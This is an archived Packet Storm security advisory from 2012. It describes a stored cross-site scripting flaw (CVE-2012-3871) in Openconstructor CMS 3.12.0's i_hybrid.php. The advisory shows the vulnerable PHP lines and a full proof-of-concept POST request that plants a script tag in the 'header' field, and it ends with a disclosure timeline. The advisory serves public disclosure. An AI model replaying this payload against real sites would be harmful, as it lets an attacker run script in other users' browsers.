exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Openconstructor CMS 3.12.0 i_hybrid.php XSS

Openconstructor CMS 3.12.0 i_hybrid.php XSS
Posted Aug 4, 2012
Authored by Lorenzo Cantoni

Openconstructor CMS version 3.12.0 suffers from a stored cross site scripting vulnerability in data/hybrid/i_hybrid.php.

tags | exploit, php, xss
advisories | CVE-2012-3871
SHA-256 | 1d3af1a1271150ebcda8aa883d72304c2cacba4c37e14d10e91b2e04946376d2

Openconstructor CMS 3.12.0 i_hybrid.php XSS

Change Mirror Download
###Title###: 
Openconstructor CMS 3.12.0 'data/hybrid/i_hybrid.php', 'header' parameter Stored Cross-site Scripting Vulnerability


###Affected Software###:
http://www.openconstructor.org/
http://code.google.com/p/openconstructor/downloads/list
http://esectorsolutions.com/about/whats-new/esector-news/detailed/?id=234


###Description###:
Openconstructor (formerly known as eSector Solutions Web Constructor) is an open source web Content Management System written in PHP. A stored XSS vulnerability exist on the 'header' parameter passed to 'i_hybrid.php' page, which is used when creating a new document in the catalogue section.
Verson 3.12.0 is vulnerable, previous version may be affected, but they have not been tested.


###CVE###
CVE-2012-3871


###Impact###:
Authenticated attackers can plant malicious javascript in the web application, with the aim to execute it on the other user's browser.

CVSS Base Score: 4.9 (AV:N/AC:M/Au:S/C:P/I:P/A:N)


###Credits###:
Lorenzo Cantoni


###Details###:
When creating a new document in the catalogue section, the application asks to set a name for that object.
The application does not escape the html tags correctly for these parameters. The vulnerability has been tested on an Internet Explorer 7 browser (because the application is designed to work with IE). Newer version of the browser with the anti-xss filter enabled, may help to protect users from such attacks.

'data/hybrid/i_hybrid.php' contains the following code:

$doc->readValues($_POST);
$doc->readFiles($_FILES);
$ds->createDocument($doc);


readValues() does not escape dangerous html carachters, so they are passed to createDocument() which store all the attributes in the database.

When the user reach the main 'Catalogue' section, the XSS is triggered.


###Proof of Concept####:
Here is a trace of the required POST to plant the javascript

POST /openconstructor/data/hybrid/i_hybrid.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://10.0.2.15/openconstructor/data/hybrid/edit.php?0=-1&id=new&ds_id=11
Accept-Language: it
Content-Type: multipart/form-data; boundary=---------------------------7dc262a2803fa
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: 10.0.2.15
Pragma: no-cache
Cookie: curnode=12; vf[img_intro]=disabled; def_bs0=rating; dsh=11; PHPSESSID=s8fnmtbfv0h1ofdeotu4h75p33; wcsUserLogin=root; wcsUserName=Administrator
Content-Length: 857

-----------------------------7dc262a2803fa
Content-Disposition: form-data; name="action"

create_hybrid
-----------------------------7dc262a2803fa
Content-Disposition: form-data; name="ds_id"

11
-----------------------------7dc262a2803fa
Content-Disposition: form-data; name="id"

new
-----------------------------7dc262a2803fa
Content-Disposition: form-data; name="hybridid"


-----------------------------7dc262a2803fa
Content-Disposition: form-data; name="fieldid"


-----------------------------7dc262a2803fa
Content-Disposition: form-data; name="callback"


-----------------------------7dc262a2803fa
Content-Disposition: form-data; name="header"

<script>alert('xss')</script>
-----------------------------7dc262a2803fa
Content-Disposition: form-data; name="published"

0
-----------------------------7dc262a2803fa--




###Disclosure###
[08/07/2012] Lead Developer contacted.
[22/07/2012] No response. Sent another mail.
[04/08/2012] Still no response. Public disclosure.
Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    20 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close